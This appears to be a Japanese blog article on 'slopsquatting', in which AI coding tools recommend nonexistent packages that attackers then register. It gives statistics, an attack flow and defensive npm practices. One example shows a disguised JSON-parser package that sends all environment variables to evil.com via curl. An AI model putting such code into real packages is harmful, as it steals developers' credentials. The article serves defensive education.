アンチパターン⑬「Slopsquatting」
AI開発ツールを狙う新種の脅威
2025年、新しいサプライチェーン攻撃が注目を集めています。
Slopsquatting(スロップスクワッティング)
AIが「存在しないパッケージ」を推奨し、攻撃者がそのパッケージ名を登録して悪意あるコードを配布する攻撃です。
【データで見る】衝撃的な統計数値
2025年3月の研究で、驚くべき数字が明らかになりました。
576,000のPython/JavaScriptコードサンプルを分析:
| 指標 | 数値 |
|---|---|
| 存在しないパッケージを推奨 | 約20% |
| ユニークな幻覚パッケージ名 | 200,000以上 |
| 類似プロンプトで繰り返し出現 | 43% |
| 10回以上の実行で再現 | 58% |
AIは5回に1回、存在しないパッケージを推奨しています。
攻撃の仕組みと脆弱性のメカニズム
Slopsquattingの攻撃フローを見てみましょう。
1. 開発者がAIに「〇〇の機能を実装して」と依頼
2. AIが「package-xyz」をインストールするよう推奨
(実際には存在しないパッケージ)
3. 攻撃者がnpm/PyPIで「package-xyz」を登録
4. 悪意あるコードを含むパッケージをアップロード
5. 開発者がAIの推奨通りにインストール
$ npm install package-xyz
6. 攻撃者のコードが実行される
- 機密情報の窃取
- バックドアの設置
- ランサムウェアの実行
AIが推奨する幻覚パッケージの分類
AIが生成する幻覚パッケージには、パターンがあります。
内訳:
| カテゴリ | 割合 | 例 |
|---|---|---|
| 実際のパッケージに着想を得た名前 | 38% | react-hooks-utils(存在しない) |
| タイポによる名前 | 13% | reqeusts(requestsのタイポ) |
| 完全に捏造された名前 | 51% | super-json-parser-pro |
実例
典型的な幻覚コード:
// AIが生成したコード
const { parseAdvancedJson } = require('json-advanced-parser');
// ↑ このパッケージは存在しない
// Python
from nlp_utils_pro import TextProcessor
# ↑ このパッケージは存在しない
攻撃者の登録例:
// 攻撃者が登録した「json-advanced-parser」
module.exports = {
parseAdvancedJson: function(data) {
// 正常な機能を装う
const parsed = JSON.parse(data);
// 裏で悪意ある処理
require('child_process').exec(
`curl https://evil.com/steal?data=${JSON.stringify(process.env)}`
);
return parsed;
}
};
なぜAIは存在しないパッケージを推奨するのか
AIが幻覚を起こす理由があります。
理由1: 統計的な予測
- AIはパターンから「ありそうな名前」を生成
- 実際の存在は確認していない
理由2: トレーニングデータの問題
- 古いデータに含まれていたパッケージ
- 名前が変わったパッケージ
理由3: 創造性
- 「こういう名前がありそう」という推測
- Temperature設定が高いと増加
実践的な解決策:Slopsquatting対策
Slopsquattingを防ぐための対策を解説します。
実践的な解決策1: パッケージの存在確認
# インストール前に存在を確認
npm info package-name
# または
npm view package-name
# 存在しない場合
npm ERR! code E404
npm ERR! 404 Not Found - GET https://registry.npmjs.org/package-name
実践的な解決策2: ロックファイルとハッシュ検証
# npm ci を使用(ロックファイルを厳密に使用)
npm ci
# package-lock.jsonをコミット
git add package-lock.json
実践的な解決策3: パッケージの信頼性確認
# ダウンロード数、最終更新、メンテナを確認
npm info express
# 結果例
# downloads: 30,000,000 weekly
# maintainers: express team
# last publish: 2 months ago
実践的な解決策4: 依存関係の監査
# 脆弱性のスキャン
npm audit
# 自動修正
npm audit fix
実践的な解決策5: AIのtemperature設定を下げる
# 幻覚を減らすためにtemperatureを下げる
response = openai.ChatCompletion.create(
model="gpt-4",
temperature=0.2, # 低めに設定
messages=[...]
)
組織での対策
チームや組織での対策も重要です。
プライベートレジストリ
# 社内パッケージレジストリの使用
npm config set registry https://npm.mycompany.com
承認リスト
// .npmrc で特定パッケージのみ許可
@mycompany:registry=https://npm.mycompany.com
依存関係のレビュー
- 新しい依存関係の追加にはレビューを必須
- パッケージの信頼性を確認
- 最終更新日、ダウンロード数、メンテナを確認
実装前チェックリスト
Slopsquatting対策のチェックリストです。
パッケージ追加時:
-
npm infoで存在を確認したか - ダウンロード数は十分か(少なすぎは危険)
- 最終更新日は最近か
- メンテナは信頼できるか
- GitHubリポジトリは存在するか
CI/CD設定:
-
npm ciを使用しているか -
package-lock.jsonをコミットしているか -
npm auditを定期実行しているか
この事例から学ぶべき教訓と実践ポイント
「Slopsquatting」から学ぶべきことは以下の通りです。
-
20%が存在しないパッケージを推奨
- AIは幻覚を起こす
-
200,000以上の幻覚パッケージ名
- 攻撃者に悪用される可能性
-
パッケージの存在確認が必須
npm infoで確認
-
ロックファイルを使用
npm ciで厳密にインストール
-
信頼性を確認
- ダウンロード数、更新日、メンテナ
まとめ:重要ポイントの振り返り
- AIの 20% が存在しないパッケージを推奨
- 200,000以上 の幻覚パッケージ名
- 攻撃者がパッケージ名を登録し 悪意あるコードを配布
- 解決策:存在確認、ロックファイル、信頼性確認
npm infoで インストール前に確認npm ciで 厳密にインストール- 教訓:AIが推奨するパッケージを盲信するな